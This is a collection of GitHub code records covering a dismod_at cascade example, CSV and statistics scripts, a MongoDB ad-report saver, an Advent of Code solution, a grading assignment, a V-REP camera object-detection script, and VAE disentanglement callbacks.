child_value_prior\n )\n #\n # smooth_table\n smooth_table = list()\n #\n # parent_smooth\n fun = lambda a, t : ('parent_value_prior', None, None)\n smooth_table.append({\n 'name': 'parent_smooth',\n 'age_id': [0],\n 'time_id': [0],\n 'fun': fun,\n })\n #\n # child_smooth\n fun = lambda a, t : ('child_value_prior', None, None)\n smooth_table.append({\n 'name': 'child_smooth',\n 'age_id': [0],\n 'time_id': [0],\n 'fun': fun,\n })\n #\n # node_table\n node_table = [\n { 'name':'n0', 'parent':'' },\n { 'name':'n1', 'parent':'n0' },\n { 'name':'n2', 'parent':'n0' },\n { 'name':'n3', 'parent':'n1' },\n { 'name':'n4', 'parent':'n1' },\n { 'name':'n5', 'parent':'n2' },\n { 'name':'n6', 'parent':'n2' },\n ]\n #\n # rate_table\n rate_table = [ {\n 'name': 'iota',\n 'parent_smooth': 'parent_smooth',\n 'child_smooth': 'child_smooth',\n } ]\n #\n # covariate_table\n covariate_table = list()\n #\n # mulcov_table\n mulcov_table = list()\n #\n # subgroup_table\n subgroup_table = [ {'subgroup': 'world', 'group':'world'} ]\n #\n # integrand_table\n integrand_table = [ {'name':'Sincidence'} ]\n #\n # avgint_table\n avgint_table = list()\n row = {\n 'node': 'n0',\n 'subgroup': 'world',\n 'weight': '',\n 'age_lower': 50.0,\n 'age_upper': 50.0,\n 'time_lower': 2000.0,\n 'time_upper': 2000.0,\n 'integrand': 'Sincidence',\n }\n avgint_table.append( copy.copy(row) )\n #\n # data_table\n data_table = list()\n leaf_set = { 'n3', 'n4', 'n5', 'n6' }\n row = {\n 'subgroup': 'world',\n 'weight': '',\n 'age_lower': 50.0,\n 'age_upper': 50.0,\n 'time_lower': 2000.0,\n 'time_upper': 2000.0,\n 'integrand': 'Sincidence',\n 'density': 'gaussian',\n 'hold_out': False,\n }\n for node in leaf_set :\n meas_value = rate_true('iota', None, None, node, None)\n row['node'] = node\n row['meas_value'] = meas_value\n row['meas_std'] = meas_value / 10.0\n data_table.append( copy.copy(row) )\n #\n # age_grid\n age_grid = [ 0.0, 100.0 ]\n #\n # time_grid\n time_grid = [ 2000.0 ]\n #\n # weight table:\n weight_table = list()\n #\n # nslist_table\n nslist_table = dict()\n #\n # option_table\n # print_level_fixed is 5 and max_number_cpu > 1 so optimizer trace\n # is printed to a file in same directory as corresponding database.\n option_table = [\n { 'name':'parent_node_name', 'value':'n0'},\n { 'name':'rate_case', 'value':'iota_pos_rho_zero'},\n { 'name': 'zero_sum_child_rate', 'value':'iota'},\n { 'name':'quasi_fixed', 'value':'false'},\n { 'name':'max_num_iter_fixed', 'value':'50'},\n { 'name':'tolerance_fixed', 'value':'1e-8'},\n { 'name':'print_level_fixed', 'value':'5'},\n ]\n # ----------------------------------------------------------------------\n # create database\n dismod_at.create_database(\n file_name,\n age_grid,\n time_grid,\n integrand_table,\n node_table,\n subgroup_table,\n weight_table,\n covariate_table,\n avgint_table,\n data_table,\n prior_table,\n smooth_table,\n nslist_table,\n rate_table,\n mulcov_table,\n option_table\n )\n# ----------------------------------------------------------------------------\ndef two_fit_goal_set_example(result_dir) :\n # -------------------------------------------------------------------------\n #\n # root_node_database\n root_node_database = all_option['root_node_database']\n #\n # all_node_database\n all_node_database = f'{result_dir}/all_node.db'\n #\n # root_fit_dir\n root_fit_dir = f'{result_dir}/n0'\n if os.path.exists(root_fit_dir) :\n # rmtree is very dangerous so make sure root_fit_dir is as expected\n assert root_fit_dir == 'build/example/n0'\n shutil.rmtree( root_fit_dir )\n os.makedirs(root_fit_dir )\n #\n # avgint_table\n # also erase avgint table in root node database\n connection = dismod_at.create_connection(\n root_node_database, new = False, readonly = False\n )\n avgint_table = dismod_at.get_table_dict(connection, 'avgint')\n empty_table = list()\n message = 'erase avgint table'\n tbl_name = 'avgint'\n dismod_at.replace_table(connection, tbl_name, empty_table)\n at_cascade.add_log_entry(connection, message)\n connection.close()\n #\n # cascade starting at n0\n at_cascade.cascade_root_node(\n all_node_database = all_node_database ,\n fit_goal_set = first_fit_goal_set ,\n )\n #\n # continue starting at at n2\n fit_node_database = root_fit_dir + '/n2/dismod.db'\n at_cascade.continue_cascade(\n all_node_database = all_node_database ,\n fit_node_database = fit_node_database ,\n fit_goal_set = second_fit_goal_set ,\n )\n #\n # check leaf node results\n leaf_dir_list = [ 'n0/n1/n3', 'n0/n1/n4', 'n0/n2/n5', 'n0/n2/n6' ]\n for leaf_dir in leaf_dir_list :\n leaf_database = f'{result_dir}/{leaf_dir}/dismod.db'\n at_cascade.check_cascade_node(\n rate_true = rate_true,\n all_node_database = all_node_database,\n fit_node_database = leaf_database,\n avgint_table = avgint_table,\n relative_tolerance = 1e-7,\n )\n# ----------------------------------------------------------------------------\ndef one_fit_goal_set_example(result_dir ) :\n #\n # root_node_database\n root_node_database = all_option['root_node_database']\n #\n # all_node_database\n all_node_database = f'{result_dir}/all_node.db'\n #\n # root_fit_dir\n root_fit_dir = f'{result_dir}/n0'\n if os.path.exists(root_fit_dir) :\n # rmtree is very dangerous so make sure root_fit_dir is as expected\n assert root_fit_dir == 'build/example/n0'\n shutil.rmtree( root_fit_dir )\n os.makedirs(root_fit_dir )\n #\n # avgint_table\n # also erase avgint table in root node database\n connection = dismod_at.create_connection(\n root_node_database, new = False, readonly = False\n )\n avgint_table = dismod_at.get_table_dict(connection, 'avgint')\n empty_table = list()\n message = 'erase avgint table'\n tbl_name = 'avgint'\n dismod_at.replace_table(connection, tbl_name, empty_table)\n at_cascade.add_log_entry(connection, message)\n connection.close()\n #\n # cascade starting at n0\n fit_goal_set = first_fit_goal_set | second_fit_goal_set\n at_cascade.cascade_root_node(\n all_node_database = all_node_database ,\n fit_goal_set = fit_goal_set ,\n )\n #\n # check leaf node results\n leaf_dir_list = [ 'n0/n1/n3', 'n0/n1/n4', 'n0/n2/n5', 'n0/n2/n6' ]\n for leaf_dir in leaf_dir_list :\n leaf_database = f'{result_dir}/{leaf_dir}/dismod.db'\n at_cascade.check_cascade_node(\n rate_true = rate_true,\n all_node_database = all_node_database,\n fit_node_database = leaf_database,\n avgint_table = avgint_table,\n relative_tolerance = 1e-7,\n )\n\n# ----------------------------------------------------------------------------\n# main\n# ----------------------------------------------------------------------------\ndef main() :\n # -------------------------------------------------------------------------\n # result_dir\n result_dir = all_option['result_dir']\n if not os.path.exists(result_dir) :\n os.makedirs(result_dir)\n #\n # root_node_database\n root_node_database = all_option['root_node_database']\n root_node_db(root_node_database)\n #\n # all_node_database\n all_node_database = f'{result_dir}/all_node.db'\n at_cascade.create_all_node_db(\n all_node_database = all_node_database,\n all_option = all_option,\n )\n #\n # example using continue_cascade\n # two_fit_goal_set_example(result_dir)\n #\n # same calculation without continue_cascade\n one_fit_goal_set_example(result_dir)\n#\n# Without this, the mac will try to execute main on each processor.\nif __name__ == '__main__' :\n main()\n print('max_fit_option: OK')\n sys.exit(0)\n# END source code\n","repo_name":"bradbell/at_cascade","sub_path":"example/continue_cascade.py","file_name":"continue_cascade.py","file_ext":"py","file_size_in_byte":10615,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"90"} +{"seq_id":"4810871072","text":"import sys\nimport csv\n\nif len(sys.argv) != 2:\n print(\"Usage: python script.py \")\n sys.exit()\n\ninput_file = sys.argv[1]\n\nwith open(input_file, 'r') as file:\n reader = csv.reader(file)\n data = list(reader)\n\nnum_cols = len(data[0])\nnum_rows = len(data)\n\naverages = []\n\nfor i in range(num_cols):\n col_sum = 0\n for j in range(num_rows):\n if j == 0:\n continue;\n col_sum += float(data[j][i])\n col_avg = col_sum / (num_rows - 1)\n averages.append(col_avg)\n\nprint(\"Column Averages:\")\nfor i in range(num_cols):\n print(\"Column {}: {}\".format(i, averages[i]))\n","repo_name":"livingshade/cilium-test","sub_path":"draw/get_csv.py","file_name":"get_csv.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"90"} +{"seq_id":"27339903442","text":"#coding=utf-8\nfrom ReportParser import ReportParser\nimport pymongo\nconn = pymongo.Connection('192.168.9.102', 27017)\n\n\ndb = conn.fdd_ads\nreports = db.baidu_dsp_raw\n\ndef save_report(rowDict):\n keyFields = ['id','date', 'accountId', 'campaignId', 'adgroupId',\n 'keywordId', 'wordId', 'creativeId', 'regionId',\n 'reportType']\n performanceFields= ['createDate','impression', 'click', 'cost', 'cpc', 'ctr', 'cpm','acp'] #'create_date' need update\n\n keys = rowDict.keys()\n values = rowDict.values()\n\n keyDict = dict([(key,rowDict[key]) for key in set(keys)&set(keyFields)])\n performanceDict = dict([(key,rowDict[key]) for key in set(keys)-set(keyFields)])\n\n reports.update(keyDict , { '$set' : performanceDict },upsert=True,multi= False )\n\nif __name__ == \"__main__\":\n #rowDict={'account': 'baidu-\\xe6\\x88\\xbf\\xe5\\xa4\\x9a\\xe5\\xa4\\x9a-\\xe4\\xb8\\x8a\\xe6\\xb5\\xb78131931', 'impression': '66', 'adgroupId': '536529173', 'adgroupName': '\\xe5\\x9f\\x8e\\xe5\\xb8\\x82\\xe5\\x93\\x81\\xe7\\x89\\x8c\\xe8\\xaf\\x8d', 'campaignId': '16690006', 'cpc': '1.75', 'click': '10', 'cost': '17.47', 'campaignName': '\\xe6\\x98\\x86\\xe6\\x98\\x8e-\\xe5\\xae\\x9e\\xe5\\x8a\\x9b\\xe5\\xa3\\xb9\\xe6\\x96\\xb9\\xe5\\x9f\\x8e-\\xe5\\x85\\xa8\\xe5\\x9b\\xbd', 'date': '2014-08-07', 'accountId': '7034363'}\n #save_report(rowDict)\n\n parseReport = ReportParser('/home/robin/wangmeng.csv')\n\n for rowDict in parseReport.parseCsvFileBody():\n save_report(rowDict)","repo_name":"Abner921/data","sub_path":"baidu_ads_api_fetcher/dsp/MongoUtil.py","file_name":"MongoUtil.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"19140008894","text":"\ndef switch_vector(vector, direction):\n a, b = vector\n if direction == \"R\":\n c, d = (0, -1)\n elif direction == \"L\":\n c, d = (0, 1)\n \n return (a * c - b * d, a * d + b * c)\n\ndef add_vector(vector1, vector2):\n a, b = vector1\n c, d = vector2\n return (a + c, b + d)\n\ndef scalar_vector(vector, scalar):\n a, b = vector\n return (a * scalar, b * scalar)\n\nwith open(\"input.txt\", \"r\") as input:\n data = input.read()\n instructions = data.split(\", \")\n\n locations = set()\n step_count = 0\n visited_distance = -1\n\n vector = (0, 0)\n direction = (0, 1)\n for instruction in instructions:\n direction = switch_vector(direction, instruction[0])\n for n in range(int(instruction[1:])):\n vector = add_vector(vector, direction)\n step_count += 1\n locations.add(vector)\n\n if len(locations) < step_count and visited_distance == -1:\n visited_distance = abs(vector[0]) + abs(vector[1])\n \n\n print(\"Final Vector:\", vector)\n print(\"Grid Distance:\", abs(vector[0]) + abs(vector[1]))\n print(\"Visited Distance:\", visited_distance)\n\n","repo_name":"SpectralArtist/Advent-of-Code","sub_path":"Python/2016/Day1/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"12277149010","text":"'''\nqn0\nmaking a grading system to evaluate the given marks.\n'''\n\nall_marks =[23,4,5,6,64,90,67,98,45,23,67,78,89]\n\nmarks_less = []\nmarks_greater = []\ndef arrannge_marks(all_marks):\n for mark in all_marks:\n\n if 90 <= mark <= 100:\n \n print(f'{mark} Excellent')\n elif 70 <= mark <= 89:\n \n print (f'{mark} Very Good')\n elif 60<= mark <= 69:\n \n print(f'{mark} Good') \n elif 40<= mark <= 59:\n print(f'{mark} Poor')\n elif 20<= mark <= 39:\n \n print(f'{mark} Very Poor')\n else:\n print(f'{mark} Repeat')\n\n for x in all_marks:\n if x > 50:\n marks_greater.append(x)\n elif x < 50:\n marks_less.append(x)\n\n print(marks_greater)\n print(marks_less)\n\n'''qn1'''\ndef make_capital():\n x=input('please type an input: ')\n z=x.upper()\n print(z)\n\n\n'''qn2'''\ndef divideByFive(*args):\n x=[]\n for num in args:\n if hex(args)% hex(5)==0:\n x.append(args)\n else:\n print('wrong input')\n return x\n\n'''qn4'''\n\ndef accountBalance(*args):\n balance=0\n for num in args:\n if num.keys()=={'D'}:\n balance += num['D']\n elif num.keys()=={'W'}:\n balance -= num['W']\n else:\n print('wrong input')\n return balance\n\n''''''","repo_name":"MukuruH/googl_page","sub_path":"python_assignment/python_assignment.py","file_name":"python_assignment.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"8142511488","text":"def std_deviation(ele_li):\n\n x_mean = 0\n for i in ele_li:\n x_mean = x_mean + i\n x_mean = x_mean/len(ele_li)\n #print(x_mean)\n\n numerator = 0\n for i in ele_li:\n numerator = numerator + (((i - x_mean) ** 2))\n #print(numerator)\n res = (numerator/len(ele_li)) ** (1/2)\n\n return res\n\ndef variation(ele_li):\n return (std_deviation(ele_li) ** 2)\n\ndef linear_reg(x, y):\n\n x_sum = 0\n y_sum = 0\n xsq_sum = 0\n xy_sum = 0\n for i in range(0, len(x)):\n x_sum = x_sum + x[i]\n y_sum = y_sum + y[i]\n xsq_sum = xsq_sum + (x[i] ** 2)\n xy_sum = xy_sum + (x[i] * y[i])\n print(x_sum)\n print(y_sum)\n print(xy_sum)\n print(xsq_sum)\n \n b = ((len(x) * xy_sum) - (x_sum * y_sum))/((len(x) * xsq_sum) - (x_sum ** 2))\n\n a = (y_sum - (b * x_sum))/len(x)\n\n return \"Y = \" + str(a) + \"X \" + \"+ \" + str(b)\n \n\n#print(std_deviation([4, 9, 11, 12, 17, 5, 8, 12, 14]))\n#print(variation([4, 9, 11, 12, 17, 5, 8, 12, 14]))\nprint(linear_reg([2,3,5,8], [3,6,5,12]))","repo_name":"RA-Balaji/WebServicesLab","sub_path":"Assignment2/apis/q5.py","file_name":"q5.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"17985501162","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Oct 19 19:16:02 2020\r\n\r\n@author: SARAVANA KUMAR\r\n\"\"\"\r\n\r\nimport sim #V-rep library\r\nimport sys\r\nimport os\r\nimport six.moves.urllib as urllib\r\nimport time #used to keep track of time\r\nimport numpy as np #array library\r\nimport math\r\nimport matplotlib.pyplot as mlp #used for image plotting\r\nimport cv2 \r\nimport zipfile\r\nimport scipy.io\r\nfrom collections import defaultdict\r\nfrom io import StringIO\r\nfrom pylab import *\r\n\r\ndef ROI (img): # to crop the image for the region of our interest\r\n x1,y1 = [187, 50]\r\n x2,y2 = [322, 50]\r\n x3,y3 = [5, 190]\r\n x4,y4 = [494, 190]\r\n top_left_x = min([x1,x2,x3,x4])\r\n top_left_y = min([y1,y2,y3,y4])\r\n bot_right_x = max([x1,x2,x3,x4])\r\n bot_right_y = max([y1,y2,y3,y4])\r\n img = img[top_left_y:bot_right_y+1, top_left_x:bot_right_x+1] # Cropping the igae here from the decided coordinates\r\n return img\r\n\r\ndef Homography (CX, CY,img): # to convert the selected pixel from planar view to top-down view\r\n width,height = 512,512\r\n matrix = [[ 3.57954734e+00, 1.35403401e+00, -7.34289760e+02],\r\n [-4.96728553e-02, 3.55160915e+00, -5.21564981e-01],\r\n [-5.65459330e-05, 4.93340418e-03, 1.00000000e+00]] # to reduce the computational complexity directly used the homography matrix\r\n p = (CX,CY)\r\n px = (matrix[0][0]*p[0] + matrix[0][1]*p[1] + matrix[0][2]) / ((matrix[2][0]*p[0] + matrix[2][1]*p[1] + matrix[2][2])) # formula to convert the pixel(x,y) in planar to top-down view\r\n py = (matrix[1][0]*p[0] + matrix[1][1]*p[1] + matrix[1][2]) / ((matrix[2][0]*p[0] + matrix[2][1]*p[1] + matrix[2][2]))\r\n p_after = (int(px), int(py)) # putting them together as a single entity\r\n return p_after\r\n\r\ndef Modification (cam_pos, cX, cY): # modifying the calculated position of the objects with respect to theri sides to the rover\r\n pairs = []\r\n if (cam_pos == 2 ): # front facing of the camera\r\n if (cX > 256): # placing the position as per the cartesian coordination\r\n cX_p = cX - 256\r\n x_real = cX_p/500 # dividing the pixel by scaling factor for real time conversion\r\n cY = 512 - cY\r\n y_real = cY/264 # dividing by scaling factor\r\n y_real = y_real + 0.55\r\n pairs.append(x_real)\r\n pairs.append(y_real)\r\n if (cX < 256):\r\n cX_p = 256 - cX\r\n x_real = (cX_p/500) * (-1)\r\n cY = 512 - cY\r\n y_real = cY/264\r\n y_real = y_real + 0.55\r\n pairs.append(x_real)\r\n pairs.append(y_real)\r\n if (cam_pos == 3): # right facing of the camera\r\n if (cX > 256):\r\n cX_p = cX - 256\r\n x_real = cX_p/500\r\n cY = 512 - cY\r\n y_real = cY/264\r\n y_real = (y_real + 0.55) * (-1)\r\n dummy_x = x_real\r\n dummy_y = y_real\r\n x_real = dummy_y * (-1)\r\n y_real = dummy_x * (-1)\r\n pairs.append(x_real)\r\n pairs.append(y_real)\r\n if (cX < 256):\r\n cX_p = 256 - cX\r\n x_real = (cX_p/500)\r\n cY = 512 - cY\r\n y_real = cY/264\r\n y_real = y_real + 0.55\r\n dummy_x = x_real\r\n dummy_y = y_real\r\n x_real = dummy_y \r\n y_real = dummy_x \r\n pairs.append(x_real)\r\n pairs.append(y_real)\r\n if (cam_pos == 4): # back facing of the camera\r\n if (cX > 256):\r\n cX_p = cX - 256\r\n x_real = (cX_p/500) * (-1)\r\n cY = 512 - cY\r\n y_real = cY/264\r\n y_real = (y_real + 0.55) * (-1)\r\n pairs.append(x_real)\r\n pairs.append(y_real)\r\n if (cX < 256):\r\n cX_p = 256 - cX\r\n x_real = (cX_p/500)\r\n cY = 512 - cY\r\n y_real = cY/264\r\n y_real = (y_real + 0.55) * (-1)\r\n pairs.append(x_real)\r\n pairs.append(y_real)\r\n if (cam_pos == 5): # left facing of the camera \r\n if (cX > 256):\r\n cX_p = cX - 256\r\n x_real = (cX_p/500) * (-1)\r\n cY = 512 - cY\r\n y_real = cY/264\r\n y_real = (y_real + 0.5) \r\n dummy_x = x_real\r\n dummy_y = y_real\r\n x_real = dummy_y * (-1)\r\n y_real = dummy_x * (-1)\r\n pairs.append(x_real)\r\n pairs.append(y_real)\r\n if (cX < 256):\r\n cX_p = 256 - cX\r\n x_real = (cX_p/500) * (-1)\r\n cY = 512 - cY\r\n y_real = cY/264\r\n y_real = (y_real + 0.5) * (-1)\r\n dummy_x = x_real\r\n dummy_y = y_real\r\n x_real = dummy_y \r\n y_real = dummy_x \r\n pairs.append(x_real) # storing the calucated results in the the array \r\n pairs.append(y_real)\r\n return pairs \r\n\r\ndef Bounding (img, cam_pos): # To draw the contour bounding box around each object of interest\r\n img = cv2.resize(img,(512,512)) # image resizing\r\n image = (img)\r\n # Grayscale \r\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) \r\n gray = cv2.medianBlur(gray, 15)\r\n\r\n # Find Canny edges \r\n edged = cv2.Canny(gray, 30, 200) \r\n \r\n pairs_1 = []\r\n contours, hierarchy = cv2.findContours(edged, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) \r\n count = 0\r\n for c in contours:\r\n # get the bounding rect\r\n area = cv2.contourArea(c)\r\n if (area > 1):\r\n x, y, w, h = cv2.boundingRect(c)\r\n # draw a green rectangle to visualize the bounding rect\r\n cv2.rectangle(image, (x, y), (x+w, y+h), (0, 255, 0), 2)\r\n cX = round(int(x + int(w/2))) #x-coordinate of rectangle's center\r\n # Up sampling the centre value by multiplying with 2 samples\r\n # finding the value from the camera origin (256,512)\r\n \r\n # dividing it with scaling factor to get the original size in meters\r\n cY = round(int(y + int(h) )) #y-coordinate of rectangle's center + int(h/2)\r\n # performing similar in Y valuesa s well\r\n x_BEV = Homography(cX,cY,img)\r\n #print (x_BEV)\r\n cX = x_BEV[0]\r\n cY = x_BEV[1]\r\n pairs = Modification (cam_pos, cX, cY)\r\n pairs_1 .append (pairs)\r\n # offset from the camera to the image point\r\n count = count +1\r\n w = w / 500 \r\n #distance = math.sqrt((x_real* x_real) + (y_real*y_real))\r\n # get the min area rect\r\n rect = cv2.minAreaRect(c)\r\n box = cv2.boxPoints(rect)\r\n # convert all coordinates floating point values to int\r\n box = np.int0(box)\r\n\r\n # Draw all contours \r\n cv2.drawContours(image, contours, -1, (0, 255, 0), 1) \r\n #Pre-Allocation\r\n return pairs_1\r\n\r\n\r\nPI=math.pi #pi=3.14..., constant\r\n\r\nsim.simxFinish(-1) # just in case, close all opened connections\r\n\r\nclientID=sim.simxStart('127.0.0.1',19999,True,True,5000,5)\r\n\r\nif clientID!=-1: #check if client connection successful\r\n print ('Connected to remote API server')\r\n \r\nelse:\r\n print ('Connection not successful')\r\n sys.exit('Could not connect')\r\n\r\n# retrive vision sensor handle\r\nerrorCode, cam_Handle = sim.simxGetObjectHandle(clientID,'cam_main',sim.simx_opmode_oneshot_wait)\r\nerrorCode,resolution,image=sim.simxGetVisionSensorImage(clientID, cam_Handle,0,sim.simx_opmode_streaming)\r\nerrorCode,resolution,image=sim.simxGetVisionSensorImage(clientID, cam_Handle,0,sim.simx_opmode_buffer)\r\n\r\n# retrive yaw and pitch handle\r\nerrorCode, yaw_Handle = sim.simxGetObjectHandle(clientID,'yaw',sim.simx_opmode_oneshot_wait)\r\nerrorCode, pitch_Handle = sim.simxGetObjectHandle(clientID,'pitch',sim.simx_opmode_oneshot_wait)\r\n\r\n# rotating yaw to capture the images on each angle\r\n\r\ncam_start0, cam_start1 = sim.simxGetJointPosition(clientID, yaw_Handle, sim.simx_opmode_oneshot_wait)\r\n\r\nangle = 0\r\nerrorCode = sim.simxSetJointPosition(clientID, yaw_Handle, angle*math.pi/180, sim.simx_opmode_oneshot_wait)\r\nreal_coordinate = [] # storing the values from the arrays\r\nfor cam_start1 in range(1,6) : # to rotate camera to cover the 360 degree\r\n errorCode = sim.simxSetJointPosition(clientID, yaw_Handle, angle*math.pi/180, sim.simx_opmode_oneshot_wait)\r\n errorCode,resolution,image=sim.simxGetVisionSensorImage(clientID, cam_Handle,0,sim.simx_opmode_buffer)\r\n im = np.array (image, dtype=np.uint8) # taking the array from vision sensor and plotting it as image\r\n im.resize([resolution[0],resolution[1],3]) # pre processing of the image to make it suitable for processing\r\n im = cv2.rotate(im, cv2.ROTATE_180)\r\n im = cv2.flip(im, 1)\r\n \r\n if cam_start1 != 1: # repeating the collowing functions till it reaches backit original position\r\n cropped = ROI (im) # ROI function\r\n pairs = Bounding(cropped, cam_start1) # bounding box of the objects\r\n real_coordinate.append(pairs) # to calculate the real world values\r\n angle = angle-90\r\n \r\n# Plotting the cartesian coordinate system havinf the rover as origin\r\nx_plot = []\r\ny_plot = []\r\npos_BEV = []\r\nmy_array = np.asarray(real_coordinate)\r\n\r\nfor idx, i in enumerate (my_array): # processing to separate the x and y values\r\n length = len(my_array[idx])\r\n j = 0\r\n while j < length:\r\n pos_BEV.append(my_array[idx][j][0])\r\n x_plot.append(math.ceil((my_array[idx][j][0]) * 100)/ 100)\r\n y_plot.append(math.ceil((my_array[idx][j][1]) * 100)/ 100)\r\n j += 1\r\n \r\nx = np.asarray(x_plot)\r\ny = np.asarray(y_plot)\r\nfig = plt.figure() # plotting as the graph\r\nax = fig.add_subplot(111)\r\n\r\nscatter(x,y)\r\n\r\n[ plot( [dot_x,dot_x] ,[0,dot_y], '-', linewidth = 0.5 ) for dot_x,dot_y in zip(x,y) ] \r\n[ plot( [0,dot_x] ,[dot_y,dot_y], '-', linewidth = 0.5 ) for dot_x,dot_y in zip(x,y) ]\r\n\r\nleft,right = ax.get_xlim()\r\nlow,high = ax.get_ylim()\r\narrow( left, 0, right -left, 0, length_includes_head = True, head_width = 0.02 )\r\narrow( 0, low, 0, high-low, length_includes_head = True, head_width = 0.02 ) \r\n\r\ngrid()\r\n\r\nshow()\r\n\r\n# Transferring the data to matlab by storing it as mat file and then loading the file in matlab\r\nscipy.io.savemat('test.mat', dict(x=x, y=y))","repo_name":"UofA-EEE-LAUS/Self-Assembly-Control-for-Multi-Vehicle-Systems","sub_path":"Object_detection/Detectionbycontour.py","file_name":"Detectionbycontour.py","file_ext":"py","file_size_in_byte":10257,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"} +{"seq_id":"5167193867","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n# coding by xiaoming\n\n# 其他流程控制语句\n\n'''\nbreak 破坏,结束\ncontinue 继续\npass 跳过\n'''\n# 带有4的我都不要\n# var = 0\n# while var <= 100:\n# if var//10==4 or var%10==4:\n# # if \"4\" in str(var):\n# var += 1\n# continue\n# print(var)\n# var += 1\n#\n#\n# # 带有4的我都不要,第二种写法\n# var = 0\n# while var <= 100:\n# # if var//10==4 or var%10==4:\n# if \"4\" in str(var): #检测\n# var += 1\n# continue\n# print(var)\n# var += 1\n#\n# # pass 语句就是用来占位的,\n# if 5>3:\n# pass #什么都不做,不能空着\n# else:\n# print(\"sdjkg\")\n# pass无任何意义,主要是用来占位用\n\n# 不要55 66 77 这样的\nfor i in range(1,101):\n if i%11 == 0:\n # print()\n continue\n print(i)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"victorfengming/python_projects","sub_path":"history_pro/python_January/python04/continue_break_pass.py","file_name":"continue_break_pass.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"74860814382","text":"import os\nfrom tkinter import Image\nimport gin, wandb\nimport numpy as np\nimport torch\nfrom torch import nn\n\nfrom disentanglement_lib.methods.shared import losses\nfrom pytorch_lightning.callbacks import Callback\nfrom torch.utils.data import DataLoader\nimport pytorch_lightning as pl\nfrom disentanglement_lib.methods.unsupervised.model import gaussian_log_density, sample_from_latent_distribution\n\nfrom disentanglement_lib.utils.mi_estimators import estimate_entropies\nimport torch.nn.functional as F\nfrom torch.utils.data import IterableDataset\nfrom torchvision.transforms.functional import to_pil_image\nfrom torchvision.utils import make_grid\n\nclass EarlyStop(Callback):\n def on_train_batch_end(self, trainer: \"pl.Trainer\", pl_module: \"pl.LightningModule\", batch_output, batch, batch_idx) -> None:\n if pl_module.summary['reconstruction_loss']<1:\n trainer.should_stop=True\n \n \nclass Evaluation(Callback):\n def __init__(self, every_n_step, prefix=\"\"):\n self.every_n_step = every_n_step\n self.log={}\n self.prefix = prefix\n\n def on_train_batch_end(self, trainer: pl.Trainer, pl_module: pl.LightningModule,batch_output, batch, batch_idx):\n if trainer.global_rank == 0 and (trainer.global_step+1) % self.every_n_step == 0:\n logger = trainer.logger\n log = self.compute(pl_module, trainer.train_dataloader)\n try:\n logger.log_metrics({os.path.join(self.prefix,k):v for k,v in log.items()})\n except Exception as e:\n print(e)\n # logger.log_metrics(log)\n\n\n @torch.no_grad()\n def compute(self, model, train_dl=None):\n raise NotImplementedError()\n\nclass Decomposition(Evaluation):\n def __init__(self, every_n_step,ds,prefix=\"\"):\n super().__init__(every_n_step,prefix)\n self.ds = ds\n @torch.no_grad()\n def compute(self, model, train_dl=None):\n \"\"\"Compute the decomposition of the KL: TC, ML, and DWKL.\n reference: https://github.com/rtqichen/beta-tcvae/blob/master/elbo_decomposition.py\n \n :param model:\n :param dataset_loader:\n :return: dict(): TC, MI, DWKL\n \"\"\"\n device = model.device\n model.eval()\n\n N = len(self.ds) # number of data samples\n K = model.num_latent # number of latent variables\n S = 1 # number of latent variable samples\n nparams = 2\n\n print('Computing q(z|x) distributions.')\n # compute the marginal q(z_j|x_n) distributions\n qz_params = torch.Tensor(N, K, nparams).to(device)\n n = 0\n for samples in DataLoader(self.ds,64,num_workers=4):\n xs, _ = samples\n batch_size = xs.size(0)\n xs = xs.view(batch_size, -1, 64, 64).to(device)\n mu, logvar = model.encode(xs)\n qz_params[n:n + batch_size, :, 0] = mu.data\n qz_params[n:n + batch_size, :, 1] = logvar.data\n n += batch_size\n z_sampled = sample_from_latent_distribution(\n qz_params[..., 0], qz_params[..., 1])\n\n # pz = \\sum_n p(z|n) p(n)\n logpz = gaussian_log_density(z_sampled, torch.zeros_like(\n z_sampled), torch.zeros_like(z_sampled)).mean(0)\n logqz_condx = gaussian_log_density(\n z_sampled, qz_params[..., 0], qz_params[..., 1]).mean(0)\n\n z_sampled = z_sampled.transpose(0, 1).contiguous().view(K, N * S)\n marginal_entropies, joint_entropy = estimate_entropies(\n z_sampled, qz_params)\n\n # Independence term\n # KL(q(z)||prod_j q(z_j)) = log q(z) - sum_j log q(z_j)\n dependence = (- joint_entropy + marginal_entropies.sum()).item()\n\n # Information term\n # KL(q(z|x)||q(z)) = log q(z|x) - log q(z) = H(z) - H(z|x)\n H_zCx = -logqz_condx.sum().item()\n H_qz = joint_entropy.item()\n information = (joint_entropy - H_zCx).item()\n z_information = (marginal_entropies +\n logqz_condx).cpu().numpy().round(2)\n\n # Dimension-wise KL term\n # sum_j KL(q(z_j)||p(z_j)) = sum_j (log q(z_j) - log p(z_j))\n dimwise_kl = (marginal_entropies - logpz).sum().item()\n\n # Compute sum of terms analytically\n # KL(q(z|x)||p(z)) = log q(z|x) - log p(z)\n analytical_cond_kl = (logqz_condx - logpz).sum().item()\n\n print('Dependence: {}'.format(dependence))\n print('Information: {}'.format(information))\n print('Dimension-wise KL: {}'.format(dimwise_kl))\n print('Analytical E_p(x)[ KL(q(z|x)||p(z)) ]: {}'.format(\n analytical_cond_kl))\n log = dict(TC=dependence,\n MI=information,\n ZMI=z_information,\n DWKL=dimwise_kl,\n 